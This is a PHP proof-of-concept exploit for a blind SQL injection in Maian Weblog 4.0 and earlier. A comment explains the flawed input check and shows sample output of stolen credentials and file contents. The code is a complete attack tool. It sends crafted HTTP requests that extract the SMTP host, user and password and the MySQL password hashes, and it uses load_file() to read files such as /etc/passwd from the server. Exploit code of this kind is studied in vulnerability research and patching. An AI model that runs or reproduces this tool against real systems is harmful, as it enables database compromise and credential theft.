<?php
/*
maian weblog <= v4.0 Remote Blind SQL Injection Exploit
vendor: http://www.maianscriptworld.co.uk/
Thanks to Johannes Dahse: http://bit.ly/dpQXMK
Explanation:
Lines 335 - 341 of the index.php we see this if statement that concerns
our variable $b_post.
// Check month and year vars...
// If they don`t equal 0, are they numeric?..
if ($b_post==0 && !ctype_digit($b_post))
{
header("Location: index.php");
exit;
}
This if statement is suppose to prevent the SQL Injection vulnerability.
However the logic implimented is incorrect, as there will never be a situation
where the $b_post variable that we control will ever be a 0 and a string value.
So a simple fix to remediate this issue becomes clear, instead of an &&, the
author was suppose to use an ||. o.O
Further down in the index.php page on lines 348 - 361, we see the location of the
actual vulnerable code.
$q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
WHERE id = '$b_post'
LIMIT 1
") or die(mysql_error());
$BLOG = mysql_fetch_object($q_blog);
// At this point, lets see if the last query fetched anything..
// If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
// If no data, redirect to homepage..
if (mysql_num_rows($q_blog)==0)
{
header("Location: index.php");
exit;
}
The page redirects after the query is executed. This way you probably won't spot the
bug in your browser from a blackbox view :). No urldecode() so we can't bypass
magic_quotes_gpc and the admin credentials are not stored in the database. doh.
Using < or > would make the PoC a little more efficient, but oh well :0)
Assuming some stars are aligned, the PoC will make well over 11,000 requests...
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080
-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
(+) Setting the proxy to 127.0.0.1:8080
(+) Getting basic database information
(+) Database version -> 5.1.41-3ubuntu12.9
(+) Database name -> maian_weblog
(+) Database user -> root@localhost
(+) SMTP details found!
(+) Getting SMTP host:user:pass -> localhost:maianmail:password
(+) Access to MySQL database successful, dumping hash!
(+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
(!) Access to load_file(), wanna play? (y/n): y
(+) Please enter the file (q to quit): /etc/shadow
(-) File doesn't exist/no access.
(+) Please enter the file (q to quit): /etc/passwd
(!) Dumping the /etc/passwd file, hold onto your knickers!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:......
*/
print_r("
-------------------------------------------------------
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
");
if ($argc < 3) {
print_r("
-----------------------------------------------------------------------------
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
host: target server (ip/hostname)
path: directory path to wordpress
Options:
-p[ip:port]: specify a proxy
Example:
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/
-----------------------------------------------------------------------------
"); die; }
error_reporting(7);
ini_set("max_execution_time", 0);
ini_set("default_socket_timeout", 5);
$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
function setArgs($argv) {
$_ARG = array();
foreach ($argv as $arg) {
if (ereg("--([^=]+)=(.*)", $arg, $reg)) {
$_ARG[$reg[1]] = $reg[2];
} elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {
$_ARG[$reg[1]] = "true";
} else {
$_ARG["input"][] = $arg;
}
}
return $_ARG;
}
$myArgs = setArgs($argv);
$host = $myArgs["input"]["1"];
$path = $myArgs["input"]["2"];
if (strpos($host, ":") == true){
$hostAndPort = explode(":",$myArgs["input"][1]);
$host = $hostAndPort[0];
$port = $hostAndPort[1];
}else{
$port = 80;
}
if(isset($myArgs["p"])){
$proxyAndPort = explode(":",$myArgs["input"][3]);
$proxy = $proxyAndPort[0];
$pport = $proxyAndPort[1];
echo "\n(+) Setting the proxy to ".$proxy.":".$pport;
}else{
echo "\n(-) Warning, a proxy was not set";
}
// rgods sendpacketii() function
function sendpacket($packet)
{
global $proxy, $host, $port, $pport, $html, $proxy_regex;
if (!isset($proxy)) {
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo "\n(-) No response from ".$host.":".$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo "\n(-) Not a valid proxy..."; die;
}
$ock=fsockopen($proxy,$pport);
if (!$ock) {
echo "\n(-) No response from proxy..."; die;
}
}
fputs($ock,$packet);
if ($proxy == "") {
$html = "";
while (!feof($ock)) {
$html .= fgets($ock);
}
}
else {
$html = "";
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
$html .= fread($ock,1);
}
}
fclose($ock);
return $html;
}
function read() {
$fp1 = fopen("/dev/stdin", "r");
$input = fgets($fp1, 255);
fclose($fp1);
return $input;
}
if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}
function checksqli($sqli, $p){
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429) { return 1; } else{ return 0; }
}
function getbasicinfo($p){
echo "\n(+) Getting basic database information";
$basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()");
foreach($basicinfo as $key => $value){
echo "\n(+) Database ".$key." -> ";
$admin = ""; $j=1;
while (!strstr($admin,chr(0))){
for ($i=1; $i<=126; $i++){
$sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i;
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429){
$admin.= chr($i);
echo chr($i); break;
}
elseif($i === 126){
$admin .= "\x00";
break;
}
}
$j++;
}
}
}
function getlogindetails($p, $msg, $tsqli){
echo $msg;
$tempvar = ""; $j=1;
while (!strstr($tempvar,chr(0))){
for ($i=1; $i<=126; $i++){
if (!strpos($tsqli, "load_file") == true){
$sqli = $tsqli."+limit+0,1),".$j.",1))='".$i;
}
else
{
$sqli = $tsqli."),".$j.",1))='".$i;
}
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$html = sendpacket($packet);
if (strlen($html) > 429){
echo chr($i); break;
}
elseif($i === 126){
$tempvar .= "\x00";
break;
}
}
$j++;
}
}
function strhex($string)
{
$hex = "";
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
getbasicinfo($p);
$smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1";
if (checksqli($smtpsqli, $p)){
echo "\n(+) SMTP details found!";
$msg = "\n(+) Getting SMTP host:user:pass -> ";
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
$sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+";
$sqli .= "from+mw_settings";
getlogindetails($p, $msg, $sqli);
}
$mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";
if (checksqli($mysqlsqli, $p)){
echo "\n(+) Access to MySQL database successful, dumping hash!";
$msg = "\n(+) MySQL user:pass -> ";
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
$sqli .= "user,0x3a,password)+from+mysql.user+";
getlogindetails($p, $msg, $sqli);
$loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+";
if (checksqli($loadsqli, $p)){
echo "\n(!) Access to load_file(), wanna play? (y/n): ";
$resp = trim(read());
if(strcmp($resp,"y") === 0){
$loadfile = "";
while (strcmp($loadfile, "q") != 0){
echo "\n(+) Please enter the file (q to quit): ";
$loadfile = trim(read());
if (strcmp($loadfile, "q") === 0) { break; }
$loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+";
if(checksqli($loadsqli, $p)){
$sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile);
$msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n";
getlogindetails($p, $msg, $sqli);
}
else{
echo "(-) File doesn't exist/no access.";
}
}
}
else{
echo "(-) Ok Exiting..\n"; die;
}
}
}
?>
